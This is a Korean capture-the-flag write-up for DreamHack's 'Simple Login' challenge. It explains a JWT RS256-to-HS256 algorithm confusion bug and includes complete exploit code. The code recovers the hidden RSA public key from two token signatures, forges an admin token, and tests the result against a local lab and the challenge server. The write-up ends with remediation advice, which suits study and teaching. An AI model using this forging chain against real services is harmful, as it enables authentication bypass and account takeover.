문제: DreamHack — Simple Login 분류: web 난이도: 🥇 Gold 3 FLAG:
DH{8ffb6790b2bb4248cc63b5e5cd04419109bc9ccd2b951c6e83638b0378c36854}
문제 설명은 두 줄이다. "드림이는 JSON Web Token(JWT)을 공부하기 위해 로그인 페이지를 구현해보았어요." 공부용이라는 말이 붙어 있으면 대개 JWT 를 다루는 방식 어딘가가 교과서에서 벗어나 있다는 뜻이다.
서버 주소를 받아 열면 로그인 폼 하나가 전부다.

폼은 두 칸뿐이고 회원가입도 비밀번호 찾기도 없다. 배포 파일을 받아 보면 왜 이게 Gold 3 인지 바로 보인다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Simple Login |
| 난이도 | 🥇 Gold 3 |
| 분류 | web |
| 출처 | Dreamhack CTF Season 6 Round #1 (Div1) |
| 제공 파일 | server.js · views/ · Dockerfile · docker-compose.yml |
| 스택 | Node 21.5 + Express 4 + EJS, jsonwebtoken 8.5.1, 7000 포트 |
| 핵심 취약점 | 토큰이 자기 검증 알고리즘을 고르고, 공개키가 HMAC 비밀키로 쓰인다 |
| 부가 관문 | 그 공개키가 서버 어디에도 노출되지 않는다 |
| 최종 결과 | username: admin 토큰 위조 → GET /admin |
흐름은 두 단계다. 먼저 alg 를 HS256 으로 바꾸면 RSA 공개키가 대칭키 자리에 들어간다는 것을 확인하고, 그다음 그 공개키를 서명에서 역산한다. 두 번째가 이 문제의 진짜 무게다.
🧩 배경 — JWT 의 alg 는 누가 정하는가
JWT 는 세 조각이다. base64url(header).base64url(payload).base64url(signature). 헤더에는 alg 필드가 들어가고, 거기에 RS256 이라고 적혀 있으면 "이 토큰은 RSA-SHA256 으로 서명됐다"는 뜻이다.
문제는 그 선언을 누가 썼는가다. 헤더는 서명 대상에 포함되긴 하지만, 서명을 검증하려면 먼저 어떤 알고리즘으로 검증할지 정해야 한다. 순서가 뒤집혀 있다. 그래서 구현이 헤더의 alg 를 그대로 믿으면, 공격자가 검증 경로를 고르는 셈이 된다.
여기서 갈리는 지점이 비대칭과 대칭의 키 역할 차이다.
RS256은 개인키로 서명하고 공개키로 검증한다. 공개키는 이름 그대로 공개해도 된다.HS256은 하나의 비밀키로 서명하고 같은 키로 검증한다. 이 키는 절대 노출되면 안 된다.
라이브러리가 "검증에 쓸 키" 하나만 받아 두고 alg 에 따라 쓰임을 바꾸면, 공개돼도 괜찮은 값이 비밀이어야 하는 자리에 들어간다. 2015년 node-jsonwebtoken 을 비롯한 여러 구현에서 보고된 고전적인 알고리즘 혼동(algorithm confusion)이고, 그래서 요즘 라이브러리는 검증할 때 허용 알고리즘을 명시하도록 유도한다.

이 문제는 거기서 한 걸음 더 간다. 허용 알고리즘을 명시해 뒀는데도 뚫린다. 명시하는 방식이 틀렸기 때문이다.
🔬 정찰 — guest 로 먼저 들어가 본다
계정을 하나는 알아야 토큰 모양을 볼 수 있다. 소스에 guest / guest 가 박혀 있다.
로그인하면 Dashboard 가 뜨는데, 버튼이 Logout 하나뿐이다.

관리자라면 버튼이 하나 더 보여야 한다는 뜻이다. 주소를 직접 쳐 보면 존재 자체를 부정한다.

404 와 page not found 는 "없다"가 아니라 "너는 admin 이 아니다"의 다른 표현이다. 소스를 보면 분명해진다.
📄 코드 정찰 — verifyToken 이 토큰 말을 믿는다
배포본의 server.js 는 145줄짜리 한 파일이다. 인증 부분만 잘라 본다.
cat -n extracted/deploy/app/server.js | sed -n '39,70p'
핵심은 41~47번째 줄이다.
function verifyToken(token) {
try {
const alg = jwt.decode(token, { complete: true }).header.alg;
if (alg === 'RS256') {
return jwt.verify(token, verificationKey);
} else if (alg === 'HS256') {
return jwt.verify(token, verificationKey, { algorithms: ['HS256'] });
} else if (alg === 'ES256') {
return jwt.verify(token, verificationKey, { algorithms: ['ES256'] });
} else {
return false;
}
} catch (error) {
return false;
}
}jwt.decode 는 서명을 전혀 보지 않는다. 그냥 base64 를 풀어 헤더를 꺼낸다. 그렇게 꺼낸 alg 로 분기를 타고, 어느 가지로 가든 넘기는 키는 똑같이 verificationKey 하나다.
algorithms: ['HS256'] 이라고 명시한 것이 오히려 함정이다. jsonwebtoken 8.x 는 algorithms 를 생략하면 키 문자열에 BEGIN PUBLIC KEY 가 들어 있는지 보고 RSA 계열만 허용한다. 그 자동 방어를 호출하는 쪽이 직접 꺼 버린 셈이다.
그 verificationKey 가 무엇인지는 위쪽 16~19번째 줄에 있다.
const FLAG = readFile('/flag');
const privKey = readFile('/priv.pem');
const verificationKey = readFile('/pub.crt');
const accounts = {
'admin': {
'password': FLAG
},
'guest': {
'password': 'guest'
}
};admin 의 비밀번호가 FLAG 다. 즉 정상 로그인으로 admin 이 되는 길은 처음부터 막혀 있다. 남은 길은 토큰 위조뿐이다.
그리고 Dockerfile 을 보면 키가 어디서 오는지 알 수 있다.
grep -nE 'genrsa|pubout|chmod|COPY' extracted/deploy/Dockerfile
RUN openssl genrsa -out /priv.pem 2048
RUN openssl rsa -in /priv.pem -pubout -out /pub.crt키 쌍이 이미지를 빌드할 때마다 새로 생성된다. 배포 파일에 들어 있지 않고, 서버에도 공개키를 돌려주는 엔드포인트가 없다. JWKS 도 없고 파일 읽기 취약점도 없다.
정리하면 이렇다. 서명을 위조할 열쇠는 공개키인데, 그 공개키를 손에 넣을 방법이 없다.
🧪 로컬 랩 — 배포 Dockerfile 그대로 띄운다
라이브 서버를 켜 두고 더듬는 건 낭비다. 배포본에 docker-compose.yml 과 Dockerfile 이 다 있으니 그대로 빌드하면 같은 서버가 손안에 생긴다. flag 만 눈에 띄는 값으로 바꿔 둔다.
#!/usr/bin/env bash
# 배포된 Dockerfile 그대로 로컬 랩을 띄운다. flag 만 눈에 띄는 센티넬로 바꿔 둔다.
set -eu
cd "$(dirname "$0")"
grep -q 'local_test_flag' extracted/deploy/flag ||
sed -i 's/DH{\*\*flag\*\*}/DH{local_test_flag_1348}/' extracted/deploy/flag
echo "[flag ] $(cat extracted/deploy/flag)"
echo "[image] $(docker build -q -t simple-login-1348 extracted/deploy)"
docker rm -f sl1348
echo "[cid ] $(docker run -d --name sl1348 -p 7700:7000 simple-login-1348)"
sleep 3
curl -s -o /dev/null -w "[http ] GET /login -> %{http_code}\n" http://127.0.0.1:7700/login
docker exec sl1348 ls -l /flag /priv.pem /pub.crt./lab_up.sh
/pub.crt 가 451바이트다. 2048비트 RSA 공개키를 SubjectPublicKeyInfo PEM 으로 쓰면 나오는 길이다. 이 숫자를 기억해 둔다 — 나중에 되살린 키가 이것과 같아야 한다.
이제 guest 토큰이 실제로 어떻게 생겼는지 뜯어본다.
#!/usr/bin/env python3
"""guest 로 로그인해 받은 JWT 의 머리·몸통·서명을 그대로 뜯어 본다.
alg 가 RS256 이고 서명이 256바이트(=2048비트 RSA)라는 것까지 눈으로 확인하는 용도.
usage: python peek_token.py http://127.0.0.1:7700/
"""
import json
import sys
from solve import b64u_dec, login
base = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:7700/"
if not base.endswith("/"):
base += "/"
tok = login(base, "guest", "guest")
head, payload, sig = tok.split(".")
print(f"[token] {tok[:48]}…{tok[-16:]} (총 {len(tok)}자)")
print(f"[header ] {json.dumps(json.loads(b64u_dec(head)), separators=(',', ':'))}")
print(f"[payload] {json.dumps(json.loads(b64u_dec(payload)), separators=(',', ':'))}")
raw = b64u_dec(sig)
print(f"[sig ] {len(raw)}바이트 = {len(raw) * 8}비트 RSA 서명")
print(f"[sig hex] {raw[:24].hex()}…")
print(f"[sig int] 최상위 비트길이 {int.from_bytes(raw, 'big').bit_length()}")~/.venvs/wg-gmpy2/bin/python peek_token.py http://127.0.0.1:7700/
서명이 256바이트다. RSA 서명은 모듈러스와 같은 길이이므로, 모듈러스도 2048비트라는 뜻이다. 이 값이 다음 단계의 출발점이 된다.
💣 핵심 1 — 공개키 PEM 이 곧 HMAC 비밀키
추측으로 두지 않고 문제 컨테이너 안에서 직접 확인한다. 서버가 쓰는 바로 그 jsonwebtoken 8.5.1 로, 서버의 HS256 분기와 똑같이 호출해 본다.
// 컨테이너 안의 jsonwebtoken 8.5.1 이 'RSA 공개키 PEM' 을 HMAC 비밀키로
// 받아들이는지 직접 확인한다. 서버 verifyToken() 의 HS256 분기와 같은 호출이다.
const crypto = require('crypto');
const fs = require('node:fs');
const jwt = require('jsonwebtoken');
const pub = fs.readFileSync('/pub.crt', { encoding: 'utf8' });
const b64u = (s) => Buffer.from(s).toString('base64url');
const header = b64u(JSON.stringify({ alg: 'HS256', typ: 'JWT' }));
const now = Math.floor(Date.now() / 1000);
const payload = b64u(JSON.stringify({ username: 'admin', iat: now, exp: now + 3600 }));
const signingInput = `${header}.${payload}`;
const sig = crypto.createHmac('sha256', pub).update(signingInput).digest('base64url');
const token = `${signingInput}.${sig}`;
console.log('jsonwebtoken ver =', require('jsonwebtoken/package.json').version);
console.log('HMAC key 길이 =', Buffer.byteLength(pub), '바이트 (/pub.crt 전문)');
console.log('header.alg =', jwt.decode(token, { complete: true }).header.alg);
console.log('HS256 명시 verify =', JSON.stringify(jwt.verify(token, pub, { algorithms: ['HS256'] })));
try {
jwt.verify(token, pub);
console.log('algorithms 생략 = 통과');
} catch (err) {
console.log('algorithms 생략 = 거부 →', err.message);
}docker cp node_verify.js sl1348:/app/node_verify.js && docker exec sl1348 node /app/node_verify.js
두 줄이 모든 것을 말한다.
algorithms: ['HS256']을 명시하면 →{"username":"admin", ...}을 그대로 돌려준다. 통과다.algorithms를 생략하면 →invalid algorithm으로 거부한다.
라이브러리는 기본값으로 막아 줄 준비가 돼 있었다. 키에 BEGIN PUBLIC KEY 가 보이면 RSA 계열만 허용하기 때문이다. 문제 코드는 alg 가 HS256 이라는 공격자의 말을 듣고 그 기본 방어를 손수 해제했다.
남은 것은 단 하나, /pub.crt 451바이트를 밖에서 아는 것이다.
🐛 삽질 — 먼저 헛짚은 세 갈래
1. alg: none 은 애초에 분기에 없다.
고전적인 none 우회를 먼저 떠올렸지만 verifyToken 은 세 값만 받고 나머지는 return false 다. 헤더를 {"alg":"none"} 으로 만들어 던져도 requireAuthentication 에서 바로 로그인 페이지로 튕긴다.
2. 로그인 분기의 버그는 쓸 수 없다.
로그인 핸들러에 눈에 띄는 실수가 하나 있다.
const passwordHash = crypto.createHash('sha256').update(password).digest('hex');
if (!username in accounts) {
res.status(401);
res.send('username or password is wrong.');
return;
}
const accountPasswordHash = crypto.createHash('sha256').update(accounts[username]['password']).digest('hex');!username in accounts 는 (!username) in accounts 로 묶인다. !username 은 false 라는 불리언이고, JavaScript 의 in 은 그것을 문자열 "false" 로 바꿔 키를 찾는다. accounts 에 "false" 키는 없으니 조건은 언제나 거짓이다. 즉 존재하지 않는 계정 검사가 통째로 무력하다.
그런데 그다음 줄에서 accounts[username]['password'] 가 undefined 를 역참조해 예외로 죽는다. 500 이 돌아올 뿐 우회는 아니다. 프로토타입 체인을 노려 username=constructor 같은 것도 넣어 봤지만, 얻는 값이 함수라 sha256 해시 길이가 달라져 timingSafeEqual 이 먼저 던진다.
3. 틀린 비밀키로 HS256 토큰을 만들어 봤다.
"어차피 HMAC 이니 흔한 비밀키면 되지 않을까" 하고 secret 으로 서명한 username: admin 토큰을 쿠키에 심어 봤다.
#!/usr/bin/env python3
"""공개키를 모르는 상태에서 흔히 찔러보는 비밀키로 admin 토큰을 서명해 본다.
틀린 키로 서명하면 /admin 은 그대로 404 다 — HMAC 은 추측으로 되는 물건이 아니다.
"""
from solve import forge_hs256
print(forge_hs256(b"secret", "admin"))~/.venvs/wg-gmpy2/bin/python forge_wrong_key.py > /tmp/tok_bad.txt
curl -s -o /dev/null -w "GET /admin (틀린 키) -> %{http_code}\n" -H "Cookie: token=$(cat /tmp/tok_bad.txt)" http://host3.dreamhack.games:10672/admin터미널에서는 GET /admin (틀린 키) -> 404 가 돌아온다. 브라우저에 같은 토큰을 심어도 화면은 똑같다.

당연히 그대로 page not found 다. HMAC 은 키를 추측해서 되는 물건이 아니다. 451바이트 PEM 을 한 바이트도 틀리지 않게 알아내야 한다. 이 단계에서 문제의 무게 중심이 웹에서 암호로 옮겨간다는 것을 받아들였다.
🔑 핵심 2 — 서명 두 개면 모듈러스가 나온다
RSA 공개키는 두 숫자다. 모듈러스 n 과 공개지수 e. openssl genrsa 는 e 를 65537 로 고정해 쓰므로, 실제로 모르는 건 n 하나뿐이다.
그리고 RSA 서명에는 공짜로 주어지는 관계식이 있다. 서명 s 를 공개지수로 거듭제곱하면 패딩된 메시지 m 이 나온다.
s^e ≡ m (mod n)합동식을 등식으로 풀어 쓰면 이렇게 된다.
s^e − m = k·n (어떤 정수 k 에 대해)즉 s^e − m 은 n 의 배수다. 서로 다른 메시지로 만든 서명 두 개를 모으면 n 의 배수가 두 개 생기고, 둘의 최대공약수를 구하면 n 이 (아주 작은 배수와 함께) 떨어진다.

여기서 m 은 해시가 아니라 패딩까지 끝난 값이어야 한다. RS256 은 RSASSA-PKCS1-v1_5 를 쓰므로 RFC 8017 의 EMSA-PKCS1-v1_5 형식을 그대로 재현해야 한다. 2048비트 키라면 전체 256바이트가 이렇게 생겼다.
00 01 FF FF … FF 00 || DigestInfo(SHA-256, H)
^ 202바이트 ^ 51바이트DigestInfo 는 해시 알고리즘 OID 를 담은 고정 접두사 19바이트에 SHA-256 결과 32바이트를 이어 붙인 것이다. 접두사는 상수라 그대로 박아 두면 된다.
SHA256_DIGESTINFO_PREFIX = bytes.fromhex("3031300d060960864801650304020105000420")
def emsa_pkcs1_v15(signing_input: bytes) -> int:
"""RFC 8017 EMSA-PKCS1-v1_5: 0x00 01 FF..FF 00 || DigestInfo(SHA-256, H)"""
di = SHA256_DIGESTINFO_PREFIX + hashlib.sha256(signing_input).digest()
em = b"\x00\x01" + b"\xff" * (K - 3 - len(di)) + b"\x00" + di
assert len(em) == K
return int.from_bytes(em, "big")서명 두 개를 서로 다르게 만드는 건 쉽다. createAccountToken 이 expiresIn: '1h' 를 주니 payload 에 iat 와 exp 가 초 단위로 들어간다. 1초 간격으로 두 번 로그인하면 서명 대상이 달라진다.
계산량은 만만치 않다. s 가 2048비트인데 e = 65537 제곱을 하면 결과가 약 1억 3천 4백만 비트, 바이트로 16MB 가 넘는 정수가 된다. CPython 기본 정수 연산으로는 거듭제곱도 느리고 그 크기의 math.gcd 는 사실상 끝나지 않는다. GMP 를 쓰는 gmpy2 를 끼우면 둘 다 몇 초에 끝난다.
python3 -m venv ~/.venvs/wg-gmpy2
~/.venvs/wg-gmpy2/bin/pip install gmpy2def recover_modulus(tokens: list) -> int:
"""n | s^e - m 이므로 서로 다른 서명 2개의 gcd 가 n(의 작은 배수)이 된다."""
cands = []
for tok in tokens:
head, payload, sig = tok.split(".")
s = int.from_bytes(b64u_dec(sig), "big")
m = emsa_pkcs1_v15(f"{head}.{payload}".encode())
cands.append(gmpy2.mpz(s) ** E - m)
print(f"[*] s^e-m 계산: {cands[-1].bit_length():,} bit")
g = gmpy2.gcd(*cands)
print(f"[*] gcd 결과: {g.bit_length()} bit")
for p in range(2, 1000): # 남은 작은 배수를 털어낸다
while g % p == 0:
g //= p
print(f"[*] 작은 소인수 제거 후: {g.bit_length()} bit")
return int(g)작은 소인수를 터는 이유는 gcd 결과가 n 자체가 아니라 n 의 작은 배수로 나오는 경우가 있기 때문이다. 아래 실행들처럼 곧바로 2048비트로 떨어지는 경우가 대부분이지만, 처음 로컬 랩을 돌렸을 때는 2050비트가 나왔고 2 와 3 을 털어내자 2048비트가 됐다. 어느 쪽이든 마지막에 pow(s, e, n) == m 으로 되짚어 확인하니 조용히 틀린 키를 들고 갈 일은 없다.
🧷 PEM 재조립 — 줄바꿈 하나까지
n 을 알았다고 끝이 아니다. HMAC 키는 숫자가 아니라 파일 내용 그대로의 바이트열이다. fs.readFileSync('/pub.crt', 'utf8') 이 돌려주는 451바이트를 그대로 만들어야 한다.
openssl rsa -pubout 은 SubjectPublicKeyInfo 구조를 DER 로 인코딩한 뒤 base64 를 64자마다 끊어 쓴다. 중첩이 깊지 않아 손으로 조립해도 된다.
def der_len(n: int) -> bytes:
if n < 0x80:
return bytes([n])
body = n.to_bytes((n.bit_length() + 7) // 8, "big")
return bytes([0x80 | len(body)]) + body
def der(tag: int, body: bytes) -> bytes:
return bytes([tag]) + der_len(len(body)) + body
def der_int(v: int) -> bytes:
b = v.to_bytes((v.bit_length() + 8) // 8, "big") # 최상위 비트 0 보장
return der(0x02, b)
def spki_pem(n: int, e: int) -> bytes:
"""openssl rsa -pubout 과 바이트 단위로 같은 SubjectPublicKeyInfo PEM."""
rsa_pub = der(0x30, der_int(n) + der_int(e))
alg_id = bytes.fromhex("300d06092a864886f70d0101010500") # rsaEncryption + NULL
spki = der(0x30, alg_id + der(0x03, b"\x00" + rsa_pub))
b64 = base64.b64encode(spki).decode()
lines = [b64[i:i + 64] for i in range(0, len(b64), 64)]
return ("-----BEGIN PUBLIC KEY-----\n"
+ "\n".join(lines)
+ "\n-----END PUBLIC KEY-----\n").encode()놓치기 쉬운 자리가 두 군데다. DER 의 INTEGER 는 부호 있는 수라 최상위 바이트의 최고 비트가 1 이면 00 을 앞에 붙여야 한다. 위에서 (v.bit_length() + 8) // 8 로 길이를 잡은 게 그 처리다. 그리고 BIT STRING 은 "쓰지 않은 비트 수" 한 바이트(00)로 시작한다.
로컬 랩에서 전 과정을 돌려 본다.
~/.venvs/wg-gmpy2/bin/python solve.py http://127.0.0.1:7700/ --save-pem pub_local.pem
되살린 키가 정말 같은 파일인지는 컨테이너 안의 원본과 바로 대보면 된다. 로컬 랩이라 이게 가능하다.
#!/usr/bin/env bash
# 서명에서 되살린 공개키가 컨테이너 안의 실제 /pub.crt 와 같은지 바이트로 대조한다.
set -eu
docker exec sl1348 cat /pub.crt > pub_real.pem
echo "[컨테이너 /pub.crt] $(sha256sum pub_real.pem)"
echo "[서명에서 복구 ] $(sha256sum pub_local.pem)"
cmp pub_real.pem pub_local.pem && echo "[+] cmp: 바이트 단위로 동일"
echo "[길이] $(wc -c < pub_real.pem) 바이트 (= HMAC 비밀키 길이)"
openssl rsa -pubin -in pub_local.pem -noout -text | sed -n '1,4p'./verify_pem.sh
해시가 같고 cmp 도 조용하다. 451바이트가 그대로 복원됐다. 이제 이 바이트열이 곧 HMAC 비밀키다.
🚀 Full Exploit
로그인 두 번 → 모듈러스 복구 → PEM 재조립 → HS256 위조 → /admin 까지 한 파일로 돈다.
#!/usr/bin/env python3
"""Simple Login (DreamHack, Gold 3 / web) — RS256 -> HS256 알고리즘 혼동.
서버는 jwt.decode 로 읽은 header.alg 가 HS256 이면 RSA '공개키 PEM' 을 HMAC 비밀키로
써서 검증한다. 공개키는 빌드 때 새로 만들어지고 어디에도 노출되지 않으므로,
guest 로그인으로 받은 RS256 서명 2개에서 모듈러스 n 을 역산해 PEM 을 재구성한 뒤
username=admin 토큰을 HS256 으로 위조한다.
usage: python solve.py http://host.example:PORT/ [--save-pem pub_recovered.pem]
deps : gmpy2 (거대정수 gcd) — python3 -m venv ~/.venvs/wg-gmpy2 && pip install gmpy2
"""
import base64
import hashlib
import hmac
import json
import re
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import gmpy2
E = 65537 # openssl genrsa 기본 공개지수
K = 256 # 2048-bit RSA → 서명/EM 길이 256바이트
SHA256_DIGESTINFO_PREFIX = bytes.fromhex("3031300d060960864801650304020105000420")
# ---------------------------------------------------------------- base64url
def b64u_dec(s: str) -> bytes:
return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
def b64u_enc(b: bytes) -> str:
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
# ---------------------------------------------------------------- HTTP
def login(base: str, user: str, pw: str) -> str:
"""POST /login 으로 RS256 토큰을 받아온다 (302 의 Set-Cookie 에서 꺼낸다)."""
body = urllib.parse.urlencode({"username": user, "password": pw}).encode()
req = urllib.request.Request(
base + "login", data=body,
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
class NoRedirect(urllib.request.HTTPRedirectHandler):
def redirect_request(self, *a, **kw):
return None
opener = urllib.request.build_opener(NoRedirect)
try:
resp = opener.open(req, timeout=15)
headers = resp.headers
except urllib.error.HTTPError as err: # 302 는 HTTPError 로 올라온다
headers = err.headers
for raw in headers.get_all("Set-Cookie") or []:
m = re.search(r"token=([A-Za-z0-9_.\-]+)", raw)
if m:
return m.group(1)
raise SystemExit("[-] 토큰을 못 받았다. 응답 헤더: %s" % headers)
def get_admin(base: str, token: str) -> tuple:
req = urllib.request.Request(base + "admin", headers={"Cookie": "token=" + token})
try:
resp = urllib.request.urlopen(req, timeout=15)
return resp.status, resp.read().decode(errors="replace").strip()
except urllib.error.HTTPError as err:
return err.code, err.read().decode(errors="replace").strip()
# ---------------------------------------------------------------- RSA 복구
def emsa_pkcs1_v15(signing_input: bytes) -> int:
"""RFC 8017 EMSA-PKCS1-v1_5: 0x00 01 FF..FF 00 || DigestInfo(SHA-256, H)"""
di = SHA256_DIGESTINFO_PREFIX + hashlib.sha256(signing_input).digest()
em = b"\x00\x01" + b"\xff" * (K - 3 - len(di)) + b"\x00" + di
assert len(em) == K
return int.from_bytes(em, "big")
def recover_modulus(tokens: list) -> int:
"""n | s^e - m 이므로 서로 다른 서명 2개의 gcd 가 n(의 작은 배수)이 된다."""
cands = []
for tok in tokens:
head, payload, sig = tok.split(".")
s = int.from_bytes(b64u_dec(sig), "big")
m = emsa_pkcs1_v15(f"{head}.{payload}".encode())
cands.append(gmpy2.mpz(s) ** E - m)
print(f"[*] s^e-m 계산: {cands[-1].bit_length():,} bit")
g = gmpy2.gcd(*cands)
print(f"[*] gcd 결과: {g.bit_length()} bit")
for p in range(2, 1000): # 남은 작은 배수를 털어낸다
while g % p == 0:
g //= p
print(f"[*] 작은 소인수 제거 후: {g.bit_length()} bit")
return int(g)
# ---------------------------------------------------------------- DER/PEM
def der_len(n: int) -> bytes:
if n < 0x80:
return bytes([n])
body = n.to_bytes((n.bit_length() + 7) // 8, "big")
return bytes([0x80 | len(body)]) + body
def der(tag: int, body: bytes) -> bytes:
return bytes([tag]) + der_len(len(body)) + body
def der_int(v: int) -> bytes:
b = v.to_bytes((v.bit_length() + 8) // 8, "big") # 최상위 비트 0 보장
return der(0x02, b)
def spki_pem(n: int, e: int) -> bytes:
"""openssl rsa -pubout 과 바이트 단위로 같은 SubjectPublicKeyInfo PEM."""
rsa_pub = der(0x30, der_int(n) + der_int(e))
alg_id = bytes.fromhex("300d06092a864886f70d0101010500") # rsaEncryption + NULL
spki = der(0x30, alg_id + der(0x03, b"\x00" + rsa_pub))
b64 = base64.b64encode(spki).decode()
lines = [b64[i:i + 64] for i in range(0, len(b64), 64)]
return ("-----BEGIN PUBLIC KEY-----\n"
+ "\n".join(lines)
+ "\n-----END PUBLIC KEY-----\n").encode()
# ---------------------------------------------------------------- 위조
def forge_hs256(pem: bytes, username: str = "admin") -> str:
header = b64u_enc(json.dumps({"alg": "HS256", "typ": "JWT"},
separators=(",", ":")).encode())
now = int(time.time())
payload = b64u_enc(json.dumps({"username": username, "iat": now,
"exp": now + 3600},
separators=(",", ":")).encode())
signing_input = f"{header}.{payload}".encode()
sig = hmac.new(pem, signing_input, hashlib.sha256).digest()
return f"{header}.{payload}.{b64u_enc(sig)}"
def main() -> None:
args = sys.argv[1:]
save_pem = None
if "--save-pem" in args:
i = args.index("--save-pem")
save_pem = args[i + 1]
del args[i:i + 2]
base = args[0] if args else "http://127.0.0.1:7700/"
if not base.endswith("/"):
base += "/"
print(f"[*] target = {base}")
print("[*] guest 로그인 2회 (iat 가 1초 달라야 서명이 달라진다)")
t1 = login(base, "guest", "guest")
time.sleep(1.2)
t2 = login(base, "guest", "guest")
if t1 == t2:
raise SystemExit("[-] 같은 토큰이 두 번 나왔다. 잠시 뒤 재시도.")
for i, t in enumerate((t1, t2), 1):
print(f" token{i} payload = {b64u_dec(t.split('.')[1]).decode()}")
n = recover_modulus([t1, t2])
head, payload, sig = t1.split(".")
assert pow(int.from_bytes(b64u_dec(sig), "big"), E, n) == \
emsa_pkcs1_v15(f"{head}.{payload}".encode()), "복구한 n 으로 서명 검증 실패"
print(f"[+] 모듈러스 복구 성공 ({n.bit_length()} bit), 서명 재검증 OK")
pem = spki_pem(n, E)
print("[*] 재구성한 공개키 PEM\n" + pem.decode())
print(f"[*] PEM sha256 = {hashlib.sha256(pem).hexdigest()}")
if save_pem:
with open(save_pem, "wb") as fp:
fp.write(pem)
print(f"[*] PEM 저장 = {save_pem}")
token = forge_hs256(pem)
print(f"[*] 위조 토큰 = {token}")
status, body = get_admin(base, token)
print(f"[*] GET /admin -> {status}")
print(f"[{'+' if status == 200 else '-'}] {body}")
if __name__ == "__main__":
main()~/.venvs/wg-gmpy2/bin/python solve.py http://host3.dreamhack.games:10672/ --save-pem pub_live.pem
전체 64초가 걸렸고 그중 CPU 시간이 62초다. 네트워크 요청은 로그인 두 번과 /admin 한 번, 모두 세 번뿐이다. 시간의 거의 전부가 1억 3천만 비트짜리 거듭제곱과 최대공약수 계산에 들어간다.
🌐 브라우저로도 확인
쿠키만 바꿔 끼우면 같은 일이 브라우저에서도 일어난다. 위조한 토큰을 document.cookie 로 심고 대시보드를 다시 연다.
def set_cookie(tok: str) -> dict:
return {"action": "eval",
"script": f'document.cookie = "token={tok}; path=/";'}
capture_steps(
slug="dreamhack-simple-login-writeup",
steps=[
{"action": "goto", "url": BASE + "login"},
{"action": "shot", "name": "01_login_page"},
{"action": "fill", "selector": "#username", "value": "guest"},
{"action": "fill", "selector": "#password", "value": "guest"},
{"action": "click", "selector": "button[type=submit]"},
{"action": "wait", "ms": 600},
{"action": "shot", "name": "02_dashboard_guest"},
{"action": "goto", "url": BASE + "admin"},
{"action": "shot", "name": "03_admin_denied"},
{"action": "goto", "url": BASE},
{"action": "click", "selector": "input[value=Logout]"},
{"action": "wait", "ms": 600},
set_cookie(TOK_BAD),
{"action": "goto", "url": BASE + "admin"},
{"action": "shot", "name": "09_wrong_key_denied"},
set_cookie(TOK_OK),
{"action": "goto", "url": BASE},
{"action": "shot", "name": "13_dashboard_admin"},
{"action": "click", "selector": "input[value=Admin]"},
{"action": "wait", "ms": 600},
{"action": "shot", "name": "14_flag"},
],
)
없던 Admin 버튼이 생겼다. index.ejs 가 isAdmin === true 일 때만 그리는 버튼이니, 서버가 우리 토큰을 admin 으로 읽었다는 뜻이다. 눌러 본다.

FLAG:
DH{8ffb6790b2bb4248cc63b5e5cd04419109bc9ccd2b951c6e83638b0378c36854}
♻️ 재현
배포 Dockerfile 로 직접 빌드한 사본을 상대로 체인 전체를 돌려 센티넬 플래그까지 확인한다. 인자를 주면 라이브 서버를 친다.
#!/usr/bin/env bash
# Simple Login (DreamHack 1348, Gold 3, web) -- 한 방 재현.
#
# ./reproduce.sh 로컬 도커, 센티넬 flag
# ./reproduce.sh http://host3.dreamhack.games:PORT/ 라이브 VM, 진짜 flag
#
# 진짜 flag 는 드림핵 VM 안에만 있다. 인자 없이 돌리면 배포 Dockerfile 로 직접 빌드한
# 사본을 상대로 익스 체인 전체(서명 2개 -> 모듈러스 복구 -> PEM 재구성 -> HS256 위조)를
# 증명하고 그 이미지가 품고 있는 센티넬 flag 와 대조한다. 진짜 flag 를 주장하지 않는다.
set -eu
cd "$(dirname "$0")"
PY="$HOME/.venvs/wg-gmpy2/bin/python"
if [ ! -x "$PY" ]; then
python3 -m venv "$HOME/.venvs/wg-gmpy2"
"$HOME/.venvs/wg-gmpy2/bin/pip" install -q gmpy2
fi
if [ $# -ge 1 ]; then
TARGET="$1"; EXPECT=""
else
./lab_up.sh
TARGET="http://127.0.0.1:7700/"; EXPECT="DH{local_test_flag_1348}"
fi
OUT="$("$PY" solve.py "$TARGET" --save-pem pub_recovered.pem)"
echo "$OUT"
FLAG="$(printf '%s\n' "$OUT" | sed -n 's/^\[+\] \(DH{.*}\)$/\1/p')"
[ -n "$FLAG" ] || { echo "[-] flag 를 못 뽑았다"; exit 1; }
if [ -n "$EXPECT" ] && [ "$FLAG" != "$EXPECT" ]; then
echo "[-] 센티넬 flag 불일치: $FLAG"; exit 1
fi
echo "[+] 재현 성공 — flag = $FLAG"./reproduce.sh
로컬 환경은 Ubuntu 25.10 · Docker 29.7.2 · Python 3.13 · gmpy2 2.3.2(GMP 6.3.0)다. 컨테이너는 배포본이 digest 로 못박아 둔 node:21.5-slim 을 그대로 쓴다.
📝 결론
검증 알고리즘을 토큰이 정하게 두면 안 된다
이 문제의 verifyToken 은 jwt.decode 로 헤더를 먼저 열어 alg 를 읽고 분기한다. 서명을 확인하기 전에 읽은 값이니 그건 검증되지 않은 입력이다. 그걸로 검증 방식을 고른다는 건 자물쇠에게 어떤 열쇠를 받을지 물어보는 것과 같다.
서버 코드가 쓸 알고리즘은 서버가 정해야 한다. jwt.verify(token, key, { algorithms: ['RS256'] }) 한 줄이면 끝난다. 헤더의 alg 는 그 고정값과 일치하는지 확인하는 용도로만 쓴다.
algorithms 를 적었다고 안전한 게 아니다
이 코드가 교묘한 건 algorithms: ['HS256'] 을 명시했다는 점이다. 보안 가이드가 늘 권하는 그 옵션이다. 그런데 값이 상수가 아니라 요청에서 흘러온 값이라 방어가 아니라 통로가 됐다. 게다가 jsonwebtoken 8.x 는 키에 BEGIN PUBLIC KEY 가 보이면 RSA 계열만 허용하는 기본 방어를 갖고 있었는데, 그걸 손수 꺼 버린 꼴이 됐다.
허용 목록은 코드에 박힌 상수여야 의미가 있다. 사용자 입력이 한 글자라도 섞이는 순간 그건 허용 목록이 아니다.
비대칭 키와 대칭 키는 자료형이 달라야 한다
